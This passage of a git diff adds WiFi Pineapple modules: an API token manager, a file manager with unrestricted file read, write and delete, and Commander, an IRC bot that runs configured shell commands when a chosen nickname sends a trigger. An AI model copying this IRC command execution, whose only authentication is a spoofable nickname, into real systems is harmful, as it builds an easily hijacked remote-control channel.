Add modules to repository
|
@ -0,0 +1,83 @@
|
|||
<?php namespace pineapple;
|
||||
|
||||
require_once('DatabaseConnection.php');
|
||||
|
||||
class APITokens extends Module
|
||||
{
|
||||
private $dbConnection;
|
||||
|
||||
const DATABASE = "/etc/pineapple/pineapple.db";
|
||||
|
||||
public function __construct($request)
|
||||
{
|
||||
parent::__construct($request, __CLASS__);
|
||||
$this->dbConnection = new DatabaseConnection(self::DATABASE);
|
||||
$this->dbConnection->exec("CREATE TABLE IF NOT EXISTS api_tokens (token VARCHAR NOT NULL, name VARCHAR NOT NULL);");
|
||||
}
|
||||
|
||||
public function getApiTokens()
|
||||
{
|
||||
$this->response = array("tokens" => $this->dbConnection->query("SELECT ROWID, token, name FROM api_tokens;"));
|
||||
}
|
||||
|
||||
public function checkApiToken()
|
||||
{
|
||||
if (isset($this->request->token)) {
|
||||
$token = $this->request->token;
|
||||
$result = $this->dbConnection->query("SELECT token FROM api_tokens WHERE token='%s';", $token);
|
||||
if (!empty($result) && isset($result[0]["token"]) && $result[0]["token"] === $token) {
|
||||
$this->response = array("valid" => true);
|
||||
}
|
||||
}
|
||||
$this->response = array("valid" => false);
|
||||
}
|
||||
|
||||
public function addApiToken()
|
||||
{
|
||||
if (isset($this->request->name)) {
|
||||
$token = hash('sha512', openssl_random_pseudo_bytes(32));
|
||||
$name = $this->request->name;
|
||||
$this->dbConnection->exec("INSERT INTO api_tokens(token, name) VALUES('%s','%s');", $token, $name);
|
||||
$this->response = array("success" => true, "token" => $token, "name" => $name);
|
||||
} else {
|
||||
$this->error = "Missing token name";
|
||||
}
|
||||
}
|
||||
|
||||
public function revokeApiToken()
|
||||
{
|
||||
if (isset($this->request->id)) {
|
||||
$this->dbConnection->exec("DELETE FROM api_tokens WHERE ROWID='%s'", $this->request->id);
|
||||
} elseif (isset($this->request->token)) {
|
||||
$this->dbConnection->exec("DELETE FROM api_tokens WHERE token='%s'", $this->request->token);
|
||||
} elseif (isset($this->request->name)) {
|
||||
$this->dbConnection->exec("DELETE FROM api_tokens WHERE name='%s'", $this->request->name);
|
||||
} else {
|
||||
$this->error = "The revokeApiToken API call requires either a 'id', 'token', or 'name' parameter";
|
||||
}
|
||||
}
|
||||
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'checkApiToken':
|
||||
$this->checkApiToken();
|
||||
break;
|
||||
|
||||
case 'addApiToken':
|
||||
$this->addApiToken();
|
||||
break;
|
||||
|
||||
case 'getApiTokens':
|
||||
$this->getApiTokens();
|
||||
break;
|
||||
|
||||
case 'revokeApiToken':
|
||||
$this->revokeApiToken();
|
||||
break;
|
||||
|
||||
default:
|
||||
$this->error = "Unknown action";
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,54 @@
|
|||
registerController("APITokenController", ['$api', '$scope', function($api, $scope) {
|
||||
$scope.apiTokens = [];
|
||||
$scope.newToken = {
|
||||
name: "",
|
||||
token: ""
|
||||
};
|
||||
|
||||
$scope.getApiTokens = function(){
|
||||
$api.request({
|
||||
'module': 'APITokens',
|
||||
'action': 'getApiTokens'
|
||||
}, function(response){
|
||||
$scope.apiTokens = response.tokens;
|
||||
});
|
||||
};
|
||||
|
||||
$scope.genApiToken = function(){
|
||||
$api.request({
|
||||
'module': 'APITokens',
|
||||
'action': 'addApiToken',
|
||||
'name': $scope.newToken.name
|
||||
}, function(response){
|
||||
$scope.newToken.name = "";
|
||||
$scope.newToken.token = response.token;
|
||||
$scope.getApiTokens();
|
||||
});
|
||||
};
|
||||
|
||||
$scope.revokeApiToken = function($event){
|
||||
var id = $event.target.getAttribute('tokenid');
|
||||
$api.request({
|
||||
'module': 'APITokens',
|
||||
'action': 'revokeApiToken',
|
||||
'id': id
|
||||
}, function(){
|
||||
$scope.getApiTokens();
|
||||
});
|
||||
};
|
||||
|
||||
$scope.selectElem = function(elem){
|
||||
var selectRange = document.createRange();
|
||||
selectRange.selectNodeContents(elem);
|
||||
var selection = window.getSelection();
|
||||
selection.removeAllRanges();
|
||||
selection.addRange(selectRange);
|
||||
}
|
||||
|
||||
$scope.selectOnClick = function($event){
|
||||
var elem = $event.target;
|
||||
$scope.selectElem(elem);
|
||||
};
|
||||
|
||||
$scope.getApiTokens();
|
||||
}]);
|
|
@ -0,0 +1,61 @@
|
|||
<style type="text/css">
|
||||
.panel {
|
||||
width: 90%;
|
||||
float:right;
|
||||
margin-right: 5%;
|
||||
}
|
||||
.table {
|
||||
table-layout:fixed;
|
||||
}
|
||||
.table td {
|
||||
white-space: nowrap;
|
||||
overflow: scroll;
|
||||
text-overflow: ellipsis
|
||||
}
|
||||
</style>
|
||||
<div class="row" ng-controller="APITokenController">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">
|
||||
Manage API Tokens
|
||||
<span class="pull-right"><button class="btn btn-primary" style="padding: 0px 5px;" ng-click="getApiTokens();">Refresh</button></span>
|
||||
</h3>
|
||||
</div>
|
||||
<table class="table table-hover table-responsive table-condensed" ng-show="apiTokens.length">
|
||||
<thead>
|
||||
<th>ID</th>
|
||||
<th>Name</th>
|
||||
<th>Token</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="apiToken in apiTokens">
|
||||
<td class="col-md-1">{{ apiToken.rowid }}</td>
|
||||
<td class="col-md-3">{{ apiToken.name }}</td>
|
||||
<td class="col-md-5 token" ng-click="selectOnClick($event);">{{ apiToken.token }}</td>
|
||||
<td class="col-md-3"><span class="pull-right"><button tokenid="{{ apiToken.rowid }}" class="btn btn-danger btn-sm" ng-click="revokeApiToken($event);">Revoke</button></span></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<div class="panel-body" ng-hide="apiTokens.length">
|
||||
<center><i>No API Tokens</i></center>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">
|
||||
Generate New Token
|
||||
</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<form class="form-inline" role="form" ng-submit="genApiToken()" novalidate>
|
||||
<div class="form-group">
|
||||
<label for="tokenName">Token Name:</label>
|
||||
<input name="tokenName" type="text" class="form-control" id="tokenName" ng-model="newToken.name" autofocus>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-success">Generate</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "Tesla",
|
||||
"description": "Create and delete API tokens on the WiFi Pineapple",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "APITokens",
|
||||
"version": "1.2"
|
||||
}
|
|
@ -0,0 +1,138 @@
|
|||
<?php namespace pineapple;
|
||||
|
||||
class Cabinet extends Module
|
||||
{
|
||||
|
||||
public function route()
|
||||
{
|
||||
switch($this->request->action) {
|
||||
case 'getDirectoryContents':
|
||||
$this->getDirectoryContents();
|
||||
break;
|
||||
|
||||
case 'getParentDirectory':
|
||||
$this->getParentDirectory();
|
||||
break;
|
||||
|
||||
case 'deleteFile':
|
||||
$this->deleteFile();
|
||||
break;
|
||||
|
||||
case 'editFile':
|
||||
$this->editFile();
|
||||
break;
|
||||
|
||||
case 'getFileContents':
|
||||
$this->getFileContents();
|
||||
break;
|
||||
|
||||
case 'createFolder':
|
||||
$this->createFolder();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
protected function getDirectoryContents()
|
||||
{
|
||||
$dir = $this->request->directory;
|
||||
|
||||
$success = false;
|
||||
$contents = array();
|
||||
if (file_exists($dir)) {
|
||||
foreach (preg_grep('/^([^.])/', scandir($dir)) as $file) {
|
||||
$obj = array("name" => $file, "directory" => is_dir($dir . '/' . $file),
|
||||
"path" => realpath($dir . '/' . $file),
|
||||
"permissions" => substr(sprintf('%o', fileperms($dir . '/' . $file)), -4),
|
||||
"size" => filesize($dir . '/' . $file));
|
||||
array_push($contents, $obj);
|
||||
}
|
||||
$success = true;
|
||||
}
|
||||
|
||||
$this->response = array("success" => $success, "contents" => $contents, "directory" => $dir);
|
||||
|
||||
}
|
||||
|
||||
protected function getParentDirectory()
|
||||
{
|
||||
$dir = $this->request->directory;
|
||||
$success = false;
|
||||
$parent = "";
|
||||
|
||||
if (file_exists($dir)) {
|
||||
$parent = dirname($dir);
|
||||
$success = true;
|
||||
}
|
||||
|
||||
$this->response = array("success" => $success, "parent" => $parent);
|
||||
|
||||
}
|
||||
|
||||
protected function deleteFile()
|
||||
{
|
||||
$f = $this->request->file;
|
||||
$success = false;
|
||||
|
||||
if (file_exists($f)) {
|
||||
if (!is_dir($f)) {
|
||||
unlink($f);
|
||||
} else {
|
||||
foreach (preg_grep('/^([^.])/', scandir($f)) as $file) {
|
||||
unlink($f . '/' . $file);
|
||||
}
|
||||
rmdir($f);
|
||||
}
|
||||
}
|
||||
|
||||
if (!file_exists($f)) {
|
||||
$success = true;
|
||||
}
|
||||
|
||||
$this->response = array("success" => $success);
|
||||
|
||||
}
|
||||
|
||||
protected function editFile()
|
||||
{
|
||||
$f = $this->request->file;
|
||||
$data = $this->request->contents;
|
||||
$success = false;
|
||||
|
||||
file_put_contents($f, $data);
|
||||
if (file_exists($f)) {
|
||||
$success = true;
|
||||
}
|
||||
|
||||
$this->response = array("success" => $success);
|
||||
}
|
||||
|
||||
protected function getFileContents()
|
||||
{
|
||||
$f = $this->request->file;
|
||||
$success = false;
|
||||
$content = "";
|
||||
|
||||
if (file_exists($f)) {
|
||||
$success = true;
|
||||
$content = file_get_contents($f);
|
||||
}
|
||||
|
||||
$this->response = array("success" => $success, "content" => $content);
|
||||
|
||||
}
|
||||
|
||||
protected function createFolder()
|
||||
{
|
||||
$dir = $this->request->directory;
|
||||
$name = $this->request->name;
|
||||
$success = false;
|
||||
|
||||
if (!is_dir($dir . '/' . $name)) {
|
||||
$success = true;
|
||||
mkdir($dir . "/" . $name);
|
||||
}
|
||||
|
||||
$this->response = array("success" => $success);
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,129 @@
|
|||
registerController("CabinetController", ['$api', '$scope', function($api, $scope) {
|
||||
|
||||
$scope.userDirectory = '';
|
||||
$scope.currentDirectory = '/';
|
||||
$scope.directoryContents = [];
|
||||
$scope.editFile = {name: "", path: "", content: ""};
|
||||
$scope.deleteFile = {name: "", path: "", directory: false};
|
||||
$scope.newFolder = {name: "", path: $scope.currentDirectory};
|
||||
$scope.message = {};
|
||||
|
||||
$scope.showMessage = function(msgTitle, msgBody) {
|
||||
$scope.message = {title: msgTitle, body: msgBody};
|
||||
$('#messageModal').modal("show");
|
||||
}
|
||||
|
||||
$scope.submitChangeDirectory = function(directory) {
|
||||
console.log(directory);
|
||||
}
|
||||
|
||||
$scope.getDirectoryContents = function(dir) {
|
||||
$api.request({
|
||||
module: "Cabinet",
|
||||
action: "getDirectoryContents",
|
||||
directory: dir
|
||||
}, function(response) {
|
||||
if (response.success == true) {
|
||||
$scope.currentDirectory = response.directory;
|
||||
$scope.directoryContents = [];
|
||||
for (var i = 0; i < response.contents.length; i++) {
|
||||
$scope.directoryContents.unshift({name: response.contents[i].name,
|
||||
directory: response.contents[i].directory,
|
||||
path: response.contents[i].path,
|
||||
permissions: response.contents[i].permissions,
|
||||
size: response.contents[i].size
|
||||
});
|
||||
}
|
||||
} else {
|
||||
$scope.showMessage("Error Loading Directory", "There was an error loading directory contents. Please verify that the directory you are navigating to exists.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$scope.goToParentDirctory = function() {
|
||||
$api.request({
|
||||
module: "Cabinet",
|
||||
action: "getParentDirectory",
|
||||
directory: $scope.currentDirectory
|
||||
}, function(response) {
|
||||
if (response.success == true) {
|
||||
parent = response.parent;
|
||||
$scope.getDirectoryContents(parent);
|
||||
} else {
|
||||
$scope.showMessage("Error Finding Parent Directory", "An error occured while trying to find the parent directory. Please verify that the directory you are navigating to exists.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$scope.requestDeleteFile = function(file) {
|
||||
$scope.deleteFile.name = file.name;
|
||||
$scope.deleteFile.path = file.path;
|
||||
$scope.deleteFile.directory = file.directory;
|
||||
console.log($scope.deleteFile);
|
||||
}
|
||||
|
||||
$scope.sendDeleteFile = function() {
|
||||
$api.request({
|
||||
module: "Cabinet",
|
||||
action: "deleteFile",
|
||||
file: $scope.deleteFile.path
|
||||
}, function(response) {
|
||||
if (response.success == true) {
|
||||
$scope.deleteFile = {};
|
||||
$scope.getDirectoryContents($scope.currentDirectory);
|
||||
} else {
|
||||
$scope.showMessage("Error Deleting File", "An error occured while trying to delete the file " + $scope.deleteFile.path + ". Please verify that this file exists and you have permission to delete it.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$scope.requestEditFile = function(file) {
|
||||
$api.request({
|
||||
module: "Cabinet",
|
||||
action: "getFileContents",
|
||||
file: file.path
|
||||
}, function(response) {
|
||||
if (response.success == true) {
|
||||
$scope.editFile = {name: file.name, path: file.path, content: response.content};
|
||||
} else {
|
||||
$scope.showMessage("Error Loading File Contents", "An error occured while trying to load the file " + file.name + ". Please verify that this file exists and you have permission to edit it.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$scope.sendEditFile = function() {
|
||||
$api.request({
|
||||
module: "Cabinet",
|
||||
action: "editFile",
|
||||
file: $scope.currentDirectory + "/" + $scope.editFile.name,
|
||||
contents: $scope.editFile.content
|
||||
}, function(response) {
|
||||
if (response.success) {
|
||||
$scope.editFile = {};
|
||||
$scope.getDirectoryContents($scope.currentDirectory);
|
||||
} else {
|
||||
$scope.showMessage("Error Saving File", "An error occured while trying to save the file " + $scope.editFile.name + ". Please verify that this file exists and you have permission to edit it.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$scope.createFolder = function() {
|
||||
$api.request({
|
||||
module: "Cabinet",
|
||||
action: "createFolder",
|
||||
name: $scope.newFolder.name,
|
||||
directory: $scope.currentDirectory
|
||||
}, function(response) {
|
||||
if (response.success == true) {
|
||||
$scope.newFolder = {};
|
||||
$scope.getDirectoryContents($scope.currentDirectory);
|
||||
} else {
|
||||
$scope.showMessage("Error Creating Directory", "An error occured while trying to create the folder " + $scope.newFolder.name + ". Please verify that you have permission to create new items in this directory.");
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
$scope.getDirectoryContents($scope.currentDirectory);
|
||||
|
||||
|
||||
}]);
|
|
@ -0,0 +1,149 @@
|
|||
<div class="row" ng-controller="CabinetController">
|
||||
|
||||
<div class="col-md-12">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">Cabinet File Manager: Current Directory {{ currentDirectory }}</h3>
|
||||
</div>
|
||||
|
||||
<div class="panel-body">
|
||||
<form class="form-inline" role="form">
|
||||
<div class="form-group">
|
||||
<label for="userDirectory">Change Directory:</label>
|
||||
<input type="text" class="form-control" ng-model="userDirectory">
|
||||
</div>
|
||||
<button type="submit" class="btn btn-default" ng-click="getDirectoryContents(userDirectory)">Go</button>
|
||||
</form>
|
||||
<hr/>
|
||||
<form class="form-inline" role="form">
|
||||
<button type="submit" class="btn btn-default btn-sm" ng-show="currentDirectory == '/'" disabled>Go Back</button>
|
||||
<button type="submit" class="btn btn-default btn-sm" ng-click="goToParentDirctory()" ng-hide="currentDirectory == '/'">Go Back</button>
|
||||
<button type="submit" class="btn btn-default btn-sm" data-toggle="modal" data-target="#fileModal">New File</button>
|
||||
<button type="submit" class="btn btn-default btn-sm" data-toggle="modal" data-target="#folderModal">New Folder</button>
|
||||
<button type="submit" class="btn btn-default btn-sm" ng-click="getDirectoryContents(currentDirectory)">Refresh</button>
|
||||
</form>
|
||||
<div class="table-responsive">
|
||||
<table class="table table-striped" align="center">
|
||||
<thead>
|
||||
<th>File Name</th>
|
||||
<th>Location</th>
|
||||
<th>Permissions</th>
|
||||
<th>Bytes</th>
|
||||
<th>Delete</th>
|
||||
<th>Edit</th>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr ng-repeat="item in directoryContents">
|
||||
<td ng-hide="item.directory">{{ item.name }}</td>
|
||||
<td ng-show="item.directory"><a href="javascript:;" ng-click="getDirectoryContents(item.path)">{{ item.name }}</a></td>
|
||||
<td class="text-muted"><i>{{ item.path }}</i></td>
|
||||
<td class="text-muted"><i>{{ item.permissions }}</i></td>
|
||||
<td class="text-muted"><i>{{ item.size }}</i></td>
|
||||
<td><a href="" data-toggle="modal" data-target="#deleteModal" ng-click="requestDeleteFile(item)">Delete</a></td>
|
||||
<td><a href="" ng-hide="item.directory" ng-click="requestEditFile(item)" data-toggle="modal" data-target="#fileModal">Edit</a></td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Edit file Modal -->
|
||||
<div id="fileModal" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
|
||||
<!-- Modal content-->
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" ng-click="editFile = {}">×</button>
|
||||
<h4 class="modal-title">File Editor {{ editFile.name }}</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<form class="form-horizontal">
|
||||
<div class="form-group">
|
||||
<label class="control-label">File Name</label>
|
||||
<input type="text" class="form-control" ng-model="editFile.name" placeholder="Notes.txt">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label class="control-label">File Contents</label> <a href="javascript:;" ng-click="editFile.content = ''">Clear</a>
|
||||
<textarea class="form-control" rows="10" ng-model="editFile.content" placeholder="Write some text here"></textarea>
|
||||
</div>
|
||||
</form>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" ng-click="sendEditFile()" class="btn btn-success pull-left" data-dismiss="modal">Save</button>
|
||||
<button type="button" class="btn btn-default pull-right" data-dismiss="modal" ng-click="editFile = {}">Cancel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Delete file Modal -->
|
||||
<div id="deleteModal" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
|
||||
<!-- Modal content-->
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal" ng-click="deleteFile = {}">×</button>
|
||||
<h4 class="modal-title">Delete File {{ deleteFile.name }}</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<p>You are about to delete {{ deleteFile.name }}. Once you do this it can not be undone.</p>
|
||||
<p ng-show="deleteFile.directory">{{ deleteFile.name }} is a directory. Deleteing it will also delete all files and folders contained inside.</p>
|
||||
<p><b>Are you absolutely sure you want to delete {{ deleteFile.name }} located at {{ deleteFile.path }}?</b></p>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-primary pull-left" data-dismiss="modal" ng-click="deleteFile = {}">Cancel</button>
|
||||
<button type="button" class="btn btn-danger pull-right" data-dismiss="modal" ng-click="sendDeleteFile()">Delete</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Create directory Modal -->
|
||||
<div id="folderModal" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
|
||||
<!-- Modal content-->
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h4 class="modal-title">Create Folder</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<form class="form-inline" role="form">
|
||||
<label class="control-label">Folder Name</label>
|
||||
<input type="text" class="form-control" ng-model="newFolder.name" placeholder="Notes.txt">
|
||||
</form>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" ng-click="createFolder()" class="btn btn-success pull-left" data-dismiss="modal">Create</button>
|
||||
<button type="button" class="btn btn-default pull-right" data-dismiss="modal">Cancel</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Create Message Modal -->
|
||||
<div id="messageModal" class="modal fade" role="dialog">
|
||||
<div class="modal-dialog">
|
||||
|
||||
<!-- Modal content-->
|
||||
<div class="modal-content">
|
||||
<div class="modal-header">
|
||||
<button type="button" class="close" data-dismiss="modal">×</button>
|
||||
<h4 class="modal-title">{{ message.title }}</h4>
|
||||
</div>
|
||||
<div class="modal-body">
|
||||
<p>{{ message.body }}</p>
|
||||
</div>
|
||||
<div class="modal-footer">
|
||||
<button type="button" class="btn btn-default pull-right" data-dismiss="modal">Dismiss</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
|
@ -0,0 +1,10 @@
|
|||
{
|
||||
"author": "newbi3",
|
||||
"description": "A file manager for the Web Interface",
|
||||
"devices": [
|
||||
"nano",
|
||||
"tetra"
|
||||
],
|
||||
"title": "Cabinet",
|
||||
"version": "1.0"
|
||||
}
|
|
@ -0,0 +1,21 @@
|
|||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) 2016 Marc
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
|
@ -0,0 +1,15 @@
|
|||
[Network]
|
||||
Server: irc.example.com
|
||||
Port: 6667
|
||||
Nickname: Commander
|
||||
Channel: #commander
|
||||
|
||||
[Security]
|
||||
Master: Foxtrot
|
||||
Trigger: !
|
||||
|
||||
[Commands]
|
||||
example: mkdir /test/ && touch /test/commander
|
||||
|
||||
[Other]
|
||||
Debug: off
|
|
@ -0,0 +1,121 @@
|
|||
#!/usr/bin/python
|
||||
|
||||
"""
|
||||
Commander.py - Python Backend for the WiFi Pineapple Commander module.
|
||||
Version 2 Codename: Electric Boogaloo
|
||||
|
||||
Thanks to: sebkinne & tesla
|
||||
|
||||
Foxtrot (C) 2016 <foxtrotnull@gmail.com>
|
||||
"""
|
||||
|
||||
import os
|
||||
import ConfigParser
|
||||
import sys
|
||||
import socket
|
||||
import time
|
||||
import string
|
||||
import select
|
||||
import errno
|
||||
|
||||
class Commander(object):
|
||||
print "[*] WiFi Pineapple Commander Module"
|
||||
|
||||
def run(self):
|
||||
while True:
|
||||
self.fillBuffer()
|
||||
self.parseCommands()
|
||||
|
||||
def parseConfig(self):
|
||||
if os.path.exists('commander.conf'):
|
||||
self.config = ConfigParser.RawConfigParser()
|
||||
self.config.read('commander.conf')
|
||||
if self.config.has_section('Network') and self.config.has_section('Security') and self.config.has_section('Commands') and self.config.has_section('Other'):
|
||||
print "[*] Valid configuration file found!"
|
||||
print ""
|
||||
else:
|
||||
print "[!] No valid configuration file found... Exiting!"
|
||||
sys.exit(1)
|
||||
|
||||
self.server = self.config.get('Network', 'Server')
|
||||
self.port = self.config.getint('Network', 'Port')
|
||||
self.nick = self.config.get('Network', 'Nickname')
|
||||
self.channel = self.config.get('Network', 'Channel')
|
||||
self.master = self.config.get('Security', 'Master')
|
||||
self.trigger = self.config.get('Security', 'Trigger')
|
||||
self.commands = self.config.options('Commands')
|
||||
self.debugmode = self.config.get('Other', 'Debug')
|
||||
|
||||
def printConfig(self):
|
||||
print "[*] Using the following connection settings:"
|
||||
print " %s" % self.server
|
||||
print " %d" % self.port
|
||||
print " %s" % self.nick
|
||||
print " %s" % self.channel
|
||||
print ""
|
||||
|
||||
print "[*] Using the following security settings:"
|
||||
print " Master: %s" % self.master
|
||||
print " Trigger: %s\n" % self.trigger
|
||||
|
||||
print "[*] Listing commands:"
|
||||
for command in self.commands:
|
||||
print " %s%s" % (self.trigger, command)
|
||||
print ""
|
||||
|
||||
def connect(self):
|
||||
self.sock = socket.socket()
|
||||
print "[*] Connecting!"
|
||||
self.sock.connect((self.server, self.port))
|
||||
print "[*] Sending nick and user information"
|
||||
self.sock.send('NICK %s\r\n' % self.nick)
|
||||
self.sock.send('USER %s 8 * :%s\r\n' % (self.nick, self.nick))
|
||||
time.sleep(2)
|
||||
self.sock.send('JOIN %s\r\n' % self.channel)
|
||||
self.sock.send('PRIVMSG %s :Connected.\r\n' % self.channel)
|
||||
print "[*] Connected!\n"
|
||||
|
||||
def fillBuffer(self):
|
||||
self.buff = ""
|
||||
self.sock.setblocking(0)
|
||||
|
||||
readable, _, _ = select.select([self.sock], [], [])
|
||||
|
||||
if self.sock in readable:
|
||||
self.buff = ""
|
||||
cont = True
|
||||
while cont:
|
||||
try:
|
||||
self.buff += self.sock.recv(1024)
|
||||
except socket.error,e:
|
||||
if e.errno != errno.EWOULDBLOCK:
|
||||
sys.exit(1)
|
||||
cont = False
|
||||
|
||||
def parseCommands(self):
|
||||
for line in self.buff.split('\r\n'):
|
||||
if self.debugmode.lower() == "on":
|
||||
print line
|
||||
|
||||
line = line.split()
|
||||
|
||||
if 'PING' in line:
|
||||
print "[*] Replying to ping\n"
|
||||
self.sock.send('PONG ' + line.split()[1] + '\r\n')
|
||||
|
||||
for command in self.commands:
|
||||
if line and line[0].lower().startswith(":" + self.master.lower() + "!"):
|
||||
if ":" + self.trigger + command in line:
|
||||
print "[*] Found command %s%s\n" % (self.trigger, command)
|
||||
self.sock.send('PRIVMSG %s :Executing command %s\r\n' % (self.channel, command))
|
||||
cmd = self.config.get('Commands', command)
|
||||
os.system(cmd)
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
commander = Commander()
|
||||
commander.parseConfig()
|
||||
commander.printConfig()
|
||||
commander.connect()
|
||||
commander.run()
|
|
@ -0,0 +1,61 @@
|
|||
<?php namespace pineapple;
|
||||
|
||||
class Commander extends Module
|
||||
{
|
||||
public function route()
|
||||
{
|
||||
switch ($this->request->action) {
|
||||
case 'startCommander':
|
||||
$this->startCommander();
|
||||
break;
|
||||
|
||||
case 'stopCommander':
|
||||
$this->stopCommander();
|
||||
break;
|
||||
|
||||
case 'getConfiguration':
|
||||
$this->getConfiguration();
|
||||
break;
|
||||
|
||||
case 'saveConfiguration':
|
||||
$this->saveConfiguration();
|
||||
break;
|
||||
|
||||
case 'restoreDefaultConfiguration':
|
||||
$this->restoreDefaultConfiguration();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private function startCommander()
|
||||
{
|
||||
$this->execBackground('cd /pineapple/modules/Commander/Python && python commander.py');
|
||||
$this->response = array("success" => true);
|
||||
}
|
||||
|
||||
private function stopCommander()
|
||||
{
|
||||
exec('kill -9 $(pgrep -f commander)');
|
||||
$this->response = array("success" => true);
|
||||
}
|
||||
|
||||
private function getConfiguration()
|
||||
{
|
||||
$config = file_get_contents('/pineapple/modules/Commander/Python/commander.conf');
|
||||
$this->response = array("CommanderConfiguration" => $config);
|
||||
}
|
||||
|
||||
private function saveConfiguration()
|
||||
{
|
||||
$config = $this->request->CommanderConfiguration;
|
||||
file_put_contents('/pineapple/modules/Commander/Python/commander.conf', $config);
|
||||
$this->response = array("success" => true);
|
||||
}
|
||||
|
||||
private function restoreDefaultConfiguration()
|
||||
{
|
||||
$defaultConfig = file_get_contents('/pineapple/modules/Commander/assets/default.conf');
|
||||
file_put_contents('/pineapple/modules/Commander/Python/commander.conf', $defaultConfig);
|
||||
$this->response = array("success" => true);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,15 @@
|
|||
[Network]
|
||||
Server: irc.example.com
|
||||
Port: 6667
|
||||
Nickname: Commander
|
||||
Channel: #commander
|
||||
|
||||
[Security]
|
||||
Master: Foxtrot
|
||||
Trigger: !
|
||||
|
||||
[Commands]
|
||||
example: mkdir /test/ && touch /test/commander
|
||||
|
||||
[Other]
|
||||
Debug: off
|
|
@ -0,0 +1,67 @@
|
|||
registerController('CommanderController', ['$api', '$scope', function($api, $scope) {
|
||||
$scope.commanderRunning = false;
|
||||
|
||||
$scope.startCommander = (function() {
|
||||
$api.request({
|
||||
module: 'Commander',
|
||||
action: 'startCommander'
|
||||
}, function(response) {
|
||||
if (response.success === true) {
|
||||
$scope.commanderRunning = true;
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
$scope.stopCommander = (function() {
|
||||
$api.request({
|
||||
module: 'Commander',
|
||||
action: 'stopCommander'
|
||||
}, function(response){
|
||||
if (response.success === true) {
|
||||
$scope.commanderRunning = false;
|
||||
}
|
||||
});
|
||||
});
|
||||
}]);
|
||||
|
||||
registerController('CommanderManageController', ['$api', '$scope', '$timeout', function($api, $scope, $timeout) {
|
||||
$scope.CommanderConfiguration = "";
|
||||
|
||||
$scope.getConfiguration = (function() {
|
||||
$api.request({
|
||||
module: 'Commander',
|
||||
action: 'getConfiguration'
|
||||
}, function(response) {
|
||||
console.log(response);
|
||||
if (response.error === undefined){
|
